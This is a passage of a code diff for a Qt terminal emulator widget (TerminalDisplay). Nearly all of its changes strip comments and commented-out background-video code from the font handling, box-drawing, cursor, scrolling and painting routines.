TerminalDisplay::setBackgroundColor(const QColor &color) { p.setColor(backgroundRole(), color); setPalette(p); - // Avoid propagating the palette change to the scroll bar _scrollBar->setPalette(QApplication::palette()); update(); @@ -190,10 +172,6 @@ void TerminalDisplay::fontChange(const QFont &) { QFontMetrics fm(font()); _fontHeight = fm.height() + _lineSpacing; - // waba TerminalDisplay 1.123: - // "Base character width on widest ASCII character. This prevents too wide - // characters in the presence of double wide (e.g. Japanese) characters." - // Get the width from representative normal width characters _fontWidth = qRound((double)fm.horizontalAdvance(QLatin1String(REPCHAR)) / (double)qstrlen(REPCHAR)); @@ -217,9 +195,6 @@ void TerminalDisplay::fontChange(const QFont &) { emit changedFontMetricSignal(_fontHeight, _fontWidth); propagateSize(); - // We will run paint event testing procedure. - // Although this operation will destroy the original content, - // the content will be drawn again after the test. _drawTextTestFlag = true; update(); } @@ -232,7 +207,6 @@ void TerminalDisplay::calDrawTextAdditionHeight(QPainter &painter) { painter.drawText(test_rect, Qt::AlignBottom, LTR_OVERRIDE_CHAR + QLatin1String("Mq"), &feedback_rect); - // qDebug() << "test_rect:" << test_rect << "feeback_rect:" << feedback_rect; painter.restore(); _drawTextAdditionHeight = qMax(0, (feedback_rect.height() - _fontHeight) / 2); @@ -243,30 +217,16 @@ void TerminalDisplay::calDrawTextAdditionHeight(QPainter &painter) { void TerminalDisplay::setVTFont(const QFont &f) { QFont font = f; - // Check if font is not fixed pitch and print a warning if (!QFontInfo(font).fixedPitch()) { - // qDebug() << "Using a variable-width font in the terminal. This may cause - // performance degradation and display/alignment errors."; } - // hint that text should be drawn without anti-aliasing. - // depending on the user's font configuration, this may not be respected if (!_antialiasText) font.setStyleStrategy(QFont::NoAntialias); - // experimental optimization. Konsole assumes that the terminal is using a - // mono-spaced font, in which case kerning information should have no effect. - // Disabling kerning saves some computation when rendering text. font.setKerning(false); - // QFont::ForceIntegerMetrics has been removed. - // Set full hinting instead to ensure the letters are aligned properly. font.setHintingPreference(QFont::PreferFullHinting); - // "Draw intense colors in bold font" feature needs to use different font - // weights. StyleName property, when set, doesn't allow weight changes. Since - // all properties (weight, stretch, italic, etc) are stored in QFont - // independently, in almost all cases styleName is not needed. font.setStyleName(QString()); QWidget::setFont(font); @@ -274,9 +234,7 @@ void TerminalDisplay::setVTFont(const QFont &f) { fontChange(font); } -void TerminalDisplay::setFont(const QFont &) { - // ignore font change request if not coming from konsole itself -} +void TerminalDisplay::setFont(const QFont &) {} /* ------------------------------------------------------------------------- */ /* */ @@ -308,40 +266,25 @@ TerminalDisplay::TerminalDisplay(QWidget *parent) _cursorShape(Emulation::KeyboardCursorShape::BlockCursor), mMotionAfterPasting(NoMoveScreenWindow), _leftBaseMargin(1), _topBaseMargin(1), _drawLineChars(true),_mouseAutohideDelay(-1) { - // variables for draw text _drawTextAdditionHeight = 0; _drawTextTestFlag = false; - // terminal applications are not designed with Right-To-Left in mind, - // so the layout is forced to Left-To-Right setLayoutDirection(Qt::LeftToRight); - // The offsets are not yet calculated. - // Do not calculate these too often to be more smoothly when resizing - // konsole in opaque mode. _topMargin = _topBaseMargin; _leftMargin = _leftBaseMargin; - // create scroll bar for scrolling output up and down - // set the scroll bar's slider to occupy the whole area of the scroll bar - // initially _scrollBar = new ScrollBar(this); QString style_sheet = qApp->styleSheet(); _scrollBar->setStyleSheet(style_sheet); - // since the contrast with the terminal background may not be enough, - // the scrollbar should be auto-filled if not transient if (!_scrollBar->style()->styleHint(QStyle::SH_ScrollBar_Transient, nullptr, _scrollBar)) _scrollBar->setAutoFillBackground(true); setScroll(0, 0); _scrollBar->setCursor(Qt::ArrowCursor); connect(_scrollBar, &QScrollBar::valueChanged, this, &TerminalDisplay::scrollBarPositionChanged); - // qtermwidget: we have to hide it here due the - // _scrollbarLocation==NoScrollBar check in - // TerminalDisplay::setScrollBarPosition(ScrollBarPosition position) _scrollBar->hide(); - // setup timers for blinking cursor and text _blinkTimer = new QTimer(this); connect(_blinkTimer, &QTimer::timeout, this, &TerminalDisplay::blinkEvent); _blinkCursorTimer = new QTimer(this); @@ -353,19 +296,15 @@ TerminalDisplay::TerminalDisplay(QWidget *parent) setColorTable(base_color_table); setMouseTracking(true); - // Enable drag and drop - setAcceptDrops(true); // attempt + setAcceptDrops(true); dragInfo.state = diNone; setFocusPolicy(Qt::WheelFocus); - // enable input method support setAttribute(Qt::WA_InputMethodEnabled, true); setInputMethodHints(Qt::ImhSensitiveData | Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText | Qt::ImhMultiLine); - // this is an important optimization, it tells Qt - // that TerminalDisplay will handle repainting its entire area. setAttribute(Qt::WA_OpaquePaintEvent); _gridLayout = new QGridLayout(this); @@ -379,29 +318,10 @@ TerminalDisplay::TerminalDisplay(QWidget *parent) _lockbackgroundImage = QPixmap(10, 10); _lockbackgroundImage.fill(Qt::gray); - // _backgroundVideoPlayer = new QMediaPlayer; - // _backgroundVideoSink = new QVideoSink; - // _backgroundVideoPlayer->setLoops(QMediaPlayer::Infinite); - // _backgroundVideoPlayer->setVideoOutput(_backgroundVideoSink); - // connect(_backgroundVideoSink, &QVideoSink::videoFrameChanged, this, [&](const QVideoFrame &frame) { - // _backgroundVideoFrame = QPixmap::fromImage(frame.toImage()); - // update(); - // }); - new AutoScrollHandler(this); } TerminalDisplay::~TerminalDisplay() { - // if (_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) { - // _backgroundVideoPlayer->stop(); - // } - // delete _backgroundVideoPlayer; - // delete _backgroundVideoSink; - // if (_backgroundMovie != nullptr) { - // _backgroundMovie->stop(); - // QObject::disconnect(_backgroundMovie, nullptr, this, nullptr); - // delete _backgroundMovie; - // } disconnect(_blinkTimer); disconnect(_blinkCursorTimer); if (_hideMouseTimer) @@ -495,7 +415,6 @@ static const quint32 LineChars[] = { }; static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t code) { - // Calculate cell midpoints, end points. int cx = x + w / 2; int cy = y + h / 2; int ex = x + w - 1; @@ -503,7 +422,6 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co quint32 toDraw = LineChars[code]; - // Top _lines: if (toDraw & TopL) paint.drawLine(cx - 1, y, cx - 1, cy - 2); if (toDraw & TopC) @@ -511,7 +429,6 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co if (toDraw & TopR) paint.drawLine(cx + 1, y, cx + 1, cy - 2); - // Bot _lines: if (toDraw & BotL) paint.drawLine(cx - 1, cy + 2, cx - 1, ey); if (toDraw & BotC) @@ -519,7 +436,6 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co if (toDraw & BotR) paint.drawLine(cx + 1, cy + 2, cx + 1, ey); - // Left _lines: if (toDraw & LeftT) paint.drawLine(x, cy - 1, cx - 2, cy - 1); if (toDraw & LeftC) @@ -527,7 +443,6 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co if (toDraw & LeftB) paint.drawLine(x, cy + 1, cx - 2, cy + 1); - // Right _lines: if (toDraw & RightT) paint.drawLine(cx + 2, cy - 1, ex, cy - 1); if (toDraw & RightC) @@ -535,7 +450,6 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co if (toDraw & RightB) paint.drawLine(cx + 2, cy + 1, ex, cy + 1); - // Intersection points. if (toDraw & Int11) paint.drawPoint(cx - 1, cy - 1); if (toDraw & Int12) @@ -559,61 +473,58 @@ static void drawLineChar(QPainter &paint, int x, int y, int w, int h, uint8_t co } static void drawOtherChar(QPainter &paint, int x, int y, int w, int h, uchar code) { - // Calculate cell midpoints, end points. const int cx = x + w / 2; const int cy = y + h / 2; const int ex = x + w - 1; const int ey = y + h - 1; - // Double dashes if (0x4C <= code && code <= 0x4F) { const int xHalfGap = qMax(w / 15, 1); const int yHalfGap = qMax(h / 15, 1); switch (code) { - case 0x4D: // BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL + case 0x4D: paint.drawLine(x, cy - 1, cx - xHalfGap - 1, cy - 1); paint.drawLine(x, cy + 1, cx - xHalfGap - 1, cy + 1); paint.drawLine(cx + xHalfGap, cy - 1, ex, cy - 1); paint.drawLine(cx + xHalfGap, cy + 1, ex, cy + 1); /* Falls through. */ - case 0x4C: // BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL + case 0x4C: paint.drawLine(x, cy, cx - xHalfGap - 1, cy); paint.drawLine(cx + xHalfGap, cy, ex, cy); break; - case 0x4F: // BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL + case 0x4F: paint.drawLine(cx - 1, y, cx - 1, cy - yHalfGap - 1); paint.drawLine(cx + 1, y, cx + 1, cy - yHalfGap - 1); paint.drawLine(cx - 1, cy + yHalfGap, cx - 1, ey); paint.drawLine(cx + 1, cy + yHalfGap, cx + 1, ey); /* Falls through. */ - case 0x4E: // BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL + case 0x4E: paint.drawLine(cx, y, cx, cy - yHalfGap - 1); paint.drawLine(cx, cy + yHalfGap, cx, ey); break; } } - // Rounded corner characters else if (0x6D <= code && code <= 0x70) { const int r = w * 3 / 8; const int d = 2 * r; switch (code) { - case 0x6D: // BOX DRAWINGS LIGHT ARC DOWN AND RIGHT + case 0x6D: paint.drawLine(cx, cy + r, cx, ey); paint.drawLine(cx + r, cy, ex, cy); paint.drawArc(cx, cy, d, d, 90 * 16, 90 * 16); break; - case 0x6E: // BOX DRAWINGS LIGHT ARC DOWN AND LEFT + case 0x6E: paint.drawLine(cx, cy + r, cx, ey); paint.drawLine(x, cy, cx - r, cy); paint.drawArc(cx - d, cy, d, d, 0 * 16, 90 * 16); break; - case 0x6F: // BOX DRAWINGS LIGHT ARC UP AND LEFT + case 0x6F: paint.drawLine(cx, y, cx, cy - r); paint.drawLine(x, cy, cx - r, cy); paint.drawArc(cx - d, cy - d, d, d, 270 * 16, 90 * 16); break; - case 0x70: // BOX DRAWINGS LIGHT ARC UP AND RIGHT + case 0x70: paint.drawLine(cx, y, cx, cy - r); paint.drawLine(cx + r, cy, ex, cy); paint.drawArc(cx, cy - d, d, d, 180 * 16, 90 * 16); @@ -621,16 +532,15 @@ static void drawOtherChar(QPainter &paint, int x, int y, int w, int h, uchar cod } } - // Diagonals else if (0x71 <= code && code <= 0x73) { switch (code) { - case 0x71: // BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT + case 0x71: paint.drawLine(ex, y, x, ey); break; - case 0x72: // BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT + case 0x72: paint.drawLine(x, y, ex, ey); break; - case 0x73: // BOX DRAWINGS LIGHT DIAGONAL CROSS + case 0x73: paint.drawLine(ex, y, x, ey); paint.drawLine(x, y, ex, ey); break; @@ -704,10 +614,7 @@ QTermWidget::KeyboardCursorShape TerminalDisplay::keyboardCursorShape() const { void TerminalDisplay::setKeyboardCursorColor(bool useForegroundColor, const QColor &color) { if (useForegroundColor) - _cursorColor = QColor(); // an invalid color means that - // the foreground color of the - // current character should - // be used + _cursorColor = QColor(); else _cursorColor = color; @@ -724,8 +631,6 @@ void TerminalDisplay::setBackgroundPixmap(QPixmap *backgroundImage) { if (backgroundImage != nullptr) { setAttribute(Qt::WA_OpaquePaintEvent, false); } else { - // if (_backgroundMovie == nullptr && (!_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) && _backgroundImage.isNull()) - // setAttribute(Qt::WA_OpaquePaintEvent, true); } } @@ -737,8 +642,6 @@ void TerminalDisplay::setBackgroundImage(const QString &backgroundImage) { setAttribute(Qt::WA_OpaquePaintEvent, false); } else { _backgroundImage = QPixmap(); - // if (_backgroundMovie == nullptr && (!_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) && !_backgroundPixmapRef) - // setAttribute(Qt::WA_OpaquePaintEvent, true); } } @@ -748,24 +651,8 @@ void TerminalDisplay::setBackgroundMovie(const QString &backgroundImage) { movie = new QMovie(backgroundImage); } if (movie && movie->isValid()) { - // if (_backgroundMovie != nullptr) { - // _backgroundMovie->stop(); - // QObject::disconnect(_backgroundMovie, nullptr, this, nullptr); - // delete _backgroundMovie; - // } - // _backgroundMovie = movie; - // QObject::connect(_backgroundMovie, &QMovie::frameChanged, this, [&] { update(); }); setAttribute(Qt::WA_OpaquePaintEvent, false); - // _backgroundMovie->start(); } else { - // if (_backgroundMovie != nullptr) { - // _backgroundMovie->stop(); - // QObject::disconnect(_backgroundMovie, nullptr, this, nullptr); - // delete _backgroundMovie; - // } - // _backgroundMovie = nullptr; - // if (_backgroundImage.isNull() && (!_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) && !_backgroundPixmapRef) - // setAttribute(Qt::WA_OpaquePaintEvent, true); if (movie) delete movie; } @@ -773,15 +660,9 @@ void TerminalDisplay::setBackgroundMovie(const QString &backgroundImage) { void TerminalDisplay::setBackgroundVideo(const QString &backgroundVideo) { if (!backgroundVideo.isEmpty()) { - // _backgroundVideoPlayer->setSource(QUrl::fromLocalFile(backgroundVideo)); - // _backgroundVideoPlayer->play(); setAttribute(Qt::WA_OpaquePaintEvent, false); } else { - // _backgroundVideoPlayer->stop(); - // _backgroundVideoPlayer->setSource(QUrl()); _backgroundVideoFrame = QPixmap(); - // if (_backgroundMovie == nullptr && _backgroundImage.isNull() && !_backgroundPixmapRef) - // setAttribute(Qt::WA_OpaquePaintEvent, true); } } @@ -793,12 +674,6 @@ void TerminalDisplay::drawBackground(QPainter &painter, const QRect &rect, const QColor &backgroundColor, bool useOpacitySetting) { QPixmap currentBackgroundImage = _backgroundImage; - // if (_backgroundMovie != nullptr) { - // currentBackgroundImage = _backgroundMovie->currentPixmap(); - // } - // if (_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) { - // currentBackgroundImage = _backgroundVideoFrame; - // } if (useOpacitySetting) { QColor color(backgroundColor); if (currentBackgroundImage.isNull()) { @@ -828,13 +703,9 @@ void TerminalDisplay::drawCursor(QPainter &painter, const QRect &rect, painter.setPen(foregroundColor); if (_cursorShape == Emulation::KeyboardCursorShape::BlockCursor) { - // draw the cursor outline, adjusting the area so that - // it is draw entirely inside 'rect' float penWidth = qMax(1, painter.pen().width()); if (preedit) { - // with is single character, so the cursor width should be the same as - // the character width cursorRect.setWidth(_fontWidth); } @@ -844,8 +715,6 @@ void TerminalDisplay::drawCursor(QPainter &painter, const QRect &rect, painter.fillRect(cursorRect, _cursorColor.isValid() ? _cursorColor : foregroundColor); if (!_cursorColor.isValid()) { - // invert the colour used to draw the text to ensure that the - // character at the cursor position is readable invertCharacterColor = true; } } @@ -863,15 +732,12 @@ void TerminalDisplay::drawCharacters(QPainter &painter, const QRect &rect, const Character *style, bool invertCharacterColor, bool tooWide) { - // don't draw text which is currently blinking if (_blinking && (style->rendition & RE_BLINK)) return; - // don't draw concealed characters if (style->rendition & RE_CONCEAL) return; - // setup bold and underline bool useBold = ((style->rendition & RE_BOLD) && _boldIntense) || font().bold(); const bool useUnderline = @@ -895,7 +761,6 @@ void TerminalDisplay::drawCharacters(QPainter &painter, const QRect &rect, painter.setFont(font); } - // setup pen const CharacterColor &textColor = (invertCharacterColor ? style->backgroundColor : style->foregroundColor); const QColor color = textColor.color(_colorTable); @@ -905,10 +770,6 @@ void TerminalDisplay::drawCharacters(QPainter &painter, const QRect &rect, painter.setPen(color); } - // FIXME: Here is a hack to solve the East Asian language symbol - // "“‘" rendering issue. - // But it is not a good solution. We should find a better way to solve - // this issue. int font_width = _charWidth->string_font_width(text); int width = CharWidth::string_unicode_width(text); if (_fix_quardCRT_issue33 && font_width != width) { @@ -921,13 +782,6 @@ void TerminalDisplay::drawCharacters(QPainter &painter, const QRect &rect, } else { if (_charWidth->font_width(line_char) != CharWidth::unicode_width(line_char)) { - // https://github.com/QQxiaoming/quardCRT/issues/33#issuecomment-2044020900 - // | left | center | right | - // | ------------ | ------------ | ------------ | - // | L'’' U+2019 | L'×' U+00D7 | L'‘' U+2018 | - // | L'”' U+201D | L'÷' U+00F7 | L'“' U+201C | - // | | L'‖' U+2016 | L'‚' U+201A | - // | | | L'‛' U+201B | const QList right_chars = {0x201C, 0x2018, 0x201A, 0x201B}; const QList center_chars = {0x00D7, 0x00F7, 0x2016}; const QList left_chars = {0x201D, 0x2019, 0x2580, 0x2584, 0x2588}; @@ -974,14 +828,9 @@ void TerminalDisplay::drawCharacters(QPainter &painter, const QRect &rect, } } } else { - // draw text if (isLineCharString(text)) { drawLineCharString(painter, rect.x(), rect.y(), text, style); } else { - // Force using LTR as the document layout for the terminal area, because - // there is no use cases for RTL emulator and RTL terminal application. - // - // This still allows RTL characters to be rendered in the RTL way. painter.setLayoutDirection(Qt::LeftToRight); if (_bidiEnabled) { @@ -1009,8 +858,6 @@ void TerminalDisplay::drawTextFragment(QPainter &painter, const QRect &rect, bool isSelection) { painter.save(); - // when the selected text is not opaque, the text is drawn with inverted - // colors but else the text is drawn with the normal colors if (_selectedTextOpacity < 1.0) { if (isSelection) { CharacterColor f = style->foregroundColor; @@ -1020,24 +867,19 @@ void TerminalDisplay::drawTextFragment(QPainter &painter, const QRect &rect, } } - // setup painter const QColor foregroundColor = style->foregroundColor.color(_colorTable); const QColor backgroundColor = style->backgroundColor.color(_colorTable); - // draw background if different from the display's background color if (backgroundColor != _colorTable[DEFAULT_BACK_COLOR].color) { drawBackground(painter, rect, backgroundColor, false /* do not use transparency */); } - // draw cursor shape if the current character is the cursor - // this may alter the foreground and background colors bool invertCharacterColor = false; if (style->rendition & RE_CURSOR) drawCursor(painter, rect, foregroundColor, backgroundColor, invertCharacterColor); - // draw text drawCharacters(painter, rect, text, style, invertCharacterColor, tooWide); painter.restore(); @@ -1071,55 +913,26 @@ void TerminalDisplay::setCursorPos(const int curx, const int cury) { int xpos, ypos; ypos = _topMargin + tLy + _fontHeight*(cury-1) + _fontAscent; xpos = _leftMargin + tLx + _fontWidth*curx; - //setMicroFocusHint(xpos, ypos, 0, _fontHeight); //### ??? - // fprintf(stderr, "x/y = %d/%d\txpos/ypos = %d/%d\n", curx, cury, xpos, ypos); _cursorLine = cury; _cursorCol = curx; } #endif -// scrolls the image by 'lines', down if lines > 0 or up otherwise. -// -// the terminal emulation keeps track of the scrolling of the character -// image as it receives input, and when the view is updated, it calls -// scrollImage() with the final scroll amount. this improves performance -// because scrolling the display is much cheaper than re-rendering all the text -// for the part of the image which has moved up or down. Instead only new lines -// have to be drawn void TerminalDisplay::scrollImage(int lines, const QRect &screenWindowRegion) { - // if the flow control warning is enabled this will interfere with the - // scrolling optimizations and cause artifacts. the simple solution here - // is to just disable the optimization whilst it is visible if (_outputSuspendedLabel && _outputSuspendedLabel->isVisible()) return; - // constrain the region to the display - // the bottom of the region is capped to the number of lines in the display's - // internal image - 2, so that the height of 'region' is strictly less - // than the height of the internal image. QRect region = screenWindowRegion; region.setBottom(qMin(region.bottom(), this->_lines - 2)); - // return if there is nothing to do if (lines == 0 || _image == nullptr || !region.isValid() || (region.top() + abs(lines)) >= region.bottom() || this->_lines <= region.height()) return; - // hide terminal size label to prevent it being scrolled if (_resizeWidget && _resizeWidget->isVisible()) _resizeWidget->hide(); - // Note: With Qt 4.4 the left edge of the scrolled area must be at 0 - // to get the correct (newly exposed) part of the widget repainted. - // - // The right edge must be before the left edge of the scroll bar to - // avoid triggering a repaint of the entire widget, the distance is - // given by SCROLLBAR_CONTENT_GAP - // - // Set the QT_FLUSH_PAINT environment variable to '1' before starting the - // application to monitor repainting. - // int scrollBarWidth = _scrollBar->isHidden() ? 0 : _scrollBar->style()->styleHint(QStyle::SH_ScrollBar_Transient, nullptr, _scrollBar) @@ -1144,35 +957,27 @@ void TerminalDisplay::scrollImage(int lines, const QRect &screenWindowRegion) { Q_ASSERT(linesToMove > 0); Q_ASSERT(bytesToMove > 0); - // scroll internal image if (lines > 0) { - // check that the memory areas that we are going to move are valid Q_ASSERT((char *)lastCharPos + bytesToMove < (char *)(_image + (this->_lines * this->_columns))); Q_ASSERT((lines * this->_columns) < _imageSize); - // scroll internal image down memmove(firstCharPos, lastCharPos, bytesToMove); - // set region of display to scroll scrollRect.setTop(top); } else { - // check that the memory areas that we are going to move are valid Q_ASSERT((char *)firstCharPos + bytesToMove < (char *)(_image + (this->_lines * this->_columns))); - // scroll internal image up memmove(lastCharPos, firstCharPos, bytesToMove); - // set region of the display to scroll scrollRect.setTop(top + abs(lines) * _fontHeight); } scrollRect.setHeight(linesToMove * _fontHeight); Q_ASSERT(scrollRect.isValid() && !scrollRect.isEmpty()); - // scroll the display vertically to match internal _image scroll(0, _fontHeight * (-lines), scrollRect); } @@ -1221,11 +1026,6 @@ void TerminalDisplay::processFilters() { QRegion preUpdateHotSpots = hotSpotRegion(); - // use _screenWindow->getImage() here rather than _image because - // other classes may call processFilters() when this display's - // ScreenWindow emits a scrolled() signal - which will happen before - // updateImage() is called on the display and therefore _image is - // out of date at this point _filterChain->setImage( _screenWindow->getImage(), _screenWindow->windowLines(), _screenWindow->windowColumns(), _screenWindow->getLineProperties()); @@ -1240,16 +1040,10 @@ void TerminalDisplay::updateImage() { if (!_screenWindow) return; - // optimization - scroll the existing image where possible and - // avoid expensive text drawing for parts of the image that - // can simply be moved up or down scrollImage(_screenWindow->scrollCount(), _screenWindow->scrollRegion()); _screenWindow->resetScrollCount(); if (!_image) { - // Create _image. - // The emitted changedContentSizeSignal also leads to getImage being - // recreated, so do this first. updateImageSize(); } @@ -1269,9 +1063,9 @@ void TerminalDisplay::updateImage() { int tLy = tL.y(); _hasBlinker = false; - CharacterColor cf; // undefined - CharacterColor _clipboard; // undefined - int cr = -1; // undefined + CharacterColor cf; + CharacterColor _clipboard; + int cr = -1; const int linesToUpdate = qMin(this->_lines, qMax(0, lines)); const int columnsToUpdate = qMin(this->_columns, qMax(0, columns)); @@ -1280,18 +1074,12 @@ void TerminalDisplay::updateImage() { char *dirtyMask = new char[columnsToUpdate + 2]; QRegion dirtyRegion; - // debugging variable, this records the number of lines that are found to - // be 'dirty' ( ie. have changed from the old _image to the new _image ) and - // which therefore need to be repainted for (y = 0; y < linesToUpdate; ++y) { const Character *currentLine = &_image[y * this->_columns]; const Character *const newLine = &newimg[y * columns]; bool updateLine = false; - // The dirty mask indicates which characters need repainting. We also - // mark surrounding neighbours dirty, in case the character exceeds - // its cell boundaries memset(dirtyMask, 0, columnsToUpdate + 2); for (x = 0; x < columnsToUpdate; ++x) { @@ -1301,21 +1089,18 @@ void TerminalDisplay::updateImage() { } QFontMetrics fm(font()); - if (!_resizing) // not while _resizing, we're expecting a paintEvent + if (!_resizing) for (x = 0; x < columnsToUpdate; ++x) { if ((newLine[x].rendition & RE_BLINK) != 0) { _hasBlinker = true; } - // Start drawing if this character or the next one differs. - // We also take the next one into account to handle the situation - // where characters exceed their cell width. if (dirtyMask[x]) { wchar_t c = newLine[x + 0].character; if (!c) continue; int p = 0; - disstrU[p++] = c; // fontMap(c); + disstrU[p++] = c; bool lineDraw = isLineChar(newLine[x+0]); bool doubleWidth = (x + 1 == columnsToUpdate) ? false @@ -1332,7 +1117,7 @@ void TerminalDisplay::updateImage() { const Character &ch = newLine[x + len]; if (!ch.character) - continue; // Skip trailing part of multi-col chars. + continue; bool nextIsDoubleWidth = (x + len + 1 == columnsToUpdate) @@ -1354,7 +1139,7 @@ void TerminalDisplay::updateImage() { break; } - disstrU[p++] = c; // fontMap(c); + disstrU[p++] = c; } std::wstring unistr(disstrU, p); @@ -1372,20 +1157,13 @@ void TerminalDisplay::updateImage() { } } - // both the top and bottom halves of double height _lines must always be - // redrawn although both top and bottom halves contain the same characters, - // only the top one is actually drawn. if (_lineProperties.count() > y) { if ((_lineProperties[y] & LINE_DOUBLEHEIGHT) != 0) { updateLine = true; } } - // if the characters on the line are different in the old and the new _image - // then this line must be repainted. if (updateLine) { - // add the area occupied by this line to the region which needs to be - // repainted QRect dirtyRect = QRect(_leftMargin + tLx, _topMargin + tLy + _fontHeight * y, _fontWidth * columnsToUpdate, _fontHeight); @@ -1393,14 +1171,10 @@ void TerminalDisplay::updateImage() { dirtyRegion |= dirtyRect; } - // replace the line of characters in the old _image with the - // current line of the new _image memcpy((void *)currentLine, (const void *)newLine, columnsToUpdate * sizeof(Character)); } - // if the new _image is smaller than the previous _image, then ensure that the - // area outside the new _image is cleared if (linesToUpdate < _usedLines) { dirtyRegion |= QRect(_leftMargin + tLx, _topMargin + tLy + _fontHeight * linesToUpdate, @@ -1419,7 +1193,6 @@ void TerminalDisplay::updateImage() { dirtyRegion |= _inputMethodData.previousPreeditRect; - // update the parts of the display which have changed update(dirtyRegion); if (_hasBlinker && !_blinkTimer->isActive()) @@ -1466,8 +1239,6 @@ void TerminalDisplay::setBlinkingCursor(bool blink) { _hasBlinkingCursor = blink; if (blink && !_blinkCursorTimer->isActive() && hasFocus()) { - // QApplication::cursorFlashTime() may be negative, and a too fast - // blinking is not good. Also, see TerminalDisplay::keyPressEvent. _blinkCursorTimer->start(std::max(QApplication::cursorFlashTime(), 1000) / 2); } @@ -1493,9 +1264,6 @@ void TerminalDisplay::setBlinkingTextEnabled(bool blink) { } void TerminalDisplay::focusOutEvent(QFocusEvent *) { - // trigger a repaint of the cursor so that it is both visible (in case - // it was hidden during blinking) - // and drawn in a focused out state _cursorBlinking = false; updateCursor(); _blinkCursorTimer->stop(); @@ -1505,13 +1273,10 @@ void TerminalDisplay::focusOutEvent(QFocusEvent *) { _blinkTimer->stop(); - // This signal should be emitted only in the end - // because the focus may change in response to it. emit termLostFocus(); } void TerminalDisplay::focusInEvent(QFocusEvent *) { if (_hasBlinkingCursor) { - // see TerminalDisplay::setBlinkingCursor _blinkCursorTimer->start(std::max(QApplication::cursorFlashTime(), 1000) / 2); } updateCursor(); @@ -1519,15 +1284,12 @@ void TerminalDisplay::focusInEvent(QFocusEvent *) { if (_hasBlinker) _blinkTimer->start(TEXT_BLINK_DELAY); - // This signal should be emitted only in the end - // because the focus may change in response to it. emit termGetFocus(); } void TerminalDisplay::enterEvent(QEnterEvent* event) { if (gs_deadSpot.x() < 0 && _hideMouseTimer - // NOTE: scrollBar->underMouse() doesn't work here && !_scrollBar->rect().contains(_scrollBar->mapFromParent(event->position().toPoint()))) { gs_futureDeadSpot = event->position().toPoint(); @@ -1551,12 +1313,6 @@ void TerminalDisplay::paintEvent(QPaintEvent *pe) { QRect cr = contentsRect(); QPixmap currentBackgroundImage = _backgroundImage; - // if (_backgroundMovie != nullptr) { - // currentBackgroundImage = _backgroundMovie->currentPixmap(); - // } - // if (_backgroundVideoPlayer->playbackState() == QMediaPlayer::PlayingState) { - // currentBackgroundImage = _backgroundVideoFrame; - // } if (!currentBackgroundImage.isNull()) { QColor background = _colorTable[DEFAULT_BACK_COLOR].color; @@ -1573,10 +1329,9 @@ void TerminalDisplay::paintEvent(QPaintEvent *pe) { paint.save(); paint.setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform); - if (_backgroundMode == Stretch) { // scale the image without keeping its - // proportions to fill the screen + if (_backgroundMode == Stretch) { paint.drawPixmap(cr, currentBackgroundImage, currentBackgroundImage.rect()); - } else if (_backgroundMode == Zoom) { // zoom in/out the image to fit it + } else if (_backgroundMode == Zoom) { QRect r = currentBackgroundImage.rect(); qreal wRatio = static_cast(cr.width()) / r.width(); qreal hRatio = static_cast(cr.height()) / r.height(); @@ -1590,8 +1345,7 @@ void TerminalDisplay::paintEvent(QPaintEvent *pe) { r.moveCenter(cr.center()); paint.drawPixmap(r, currentBackgroundImage, currentBackgroundImage.rect()); - } else if (_backgroundMode == Fit) { // if the image is bigger than the - // terminal, zoom it out to fit it + } else if (_backgroundMode == Fit) { QRect r = currentBackgroundImage.rect(); qreal wRatio = static_cast(cr.width()) / r.width(); qreal hRatio = static_cast(cr.height()) / r.height(); @@ -1610,11 +1364,11 @@ void TerminalDisplay::paintEvent(QPaintEvent *pe) { r.moveCenter(cr.center()); paint.drawPixmap(r, currentBackgroundImage, currentBackgroundImage.rect()); } else if (_backgroundMode == - Center) { // center the image without scaling/zooming + Center) { QRect r = currentBackgroundImage.rect(); r.moveCenter(cr.center()); paint.drawPixmap(r.topLeft(), currentBackgroundImage); - } else if (_backgroundMode == Tile) { // tile the image + } else if (_backgroundMode == Tile) { QPixmap scaled = currentBackgroundImage; qreal wRatio = static_cast(cr.width()) / currentBackgroundImage.width(); @@ -1641,7 +1395,7 @@ void TerminalDisplay::paintEvent(QPaintEvent *pe) { x = 0; y += scaled.height(); } - } else // if (_backgroundMode == None) + } else { paint.drawPixmap(0, 0, currentBackgroundImage); } @@ -1717,8 +1471,6 @@ void TerminalDisplay::drawInputMethodPreeditString(QPainter &painter, const QRec FilterChain *TerminalDisplay::filterChain() const { return _filterChain; } void TerminalDisplay::paintFilters(QPainter &painter) { - // get color of character under mouse and use it to draw - // lines for filters QPoint cursorPos = mapFromGlobal(QCursor::pos()); int cursorLine; int cursorColumn; @@ -1734,9 +1486,6 @@ void TerminalDisplay::paintFilters(QPainter &painter) { painter.setPen(QPen(cursorCharacter.foregroundColor.color(colorTable()))); - // iterate over hotspots identified by the display's currently active filters - // and draw appropriate visuals to indicate the presence of the hotspot - QList spots = _filterChain->hotSpots(); QListIterator iter(spots); while (iter.hasNext()) { @@ -1774,11 +1523,7 @@ void TerminalDisplay::paintFilters(QPainter &painter) { for (int line = spot->startLine(); line <= spot->endLine(); line++) { int startColumn = 0; - int endColumn = _columns - 1; // TODO use number of _columns which are - // actually occupied on this line rather - // than the width of the display in _columns - - // ignore whitespace at the end of the lines + int endColumn = _columns - 1; do { if (endColumn <= 0) break; @@ -1790,8 +1535,6 @@ void TerminalDisplay::paintFilters(QPainter &painter) { endColumn--; } while (true); - // increment here because the 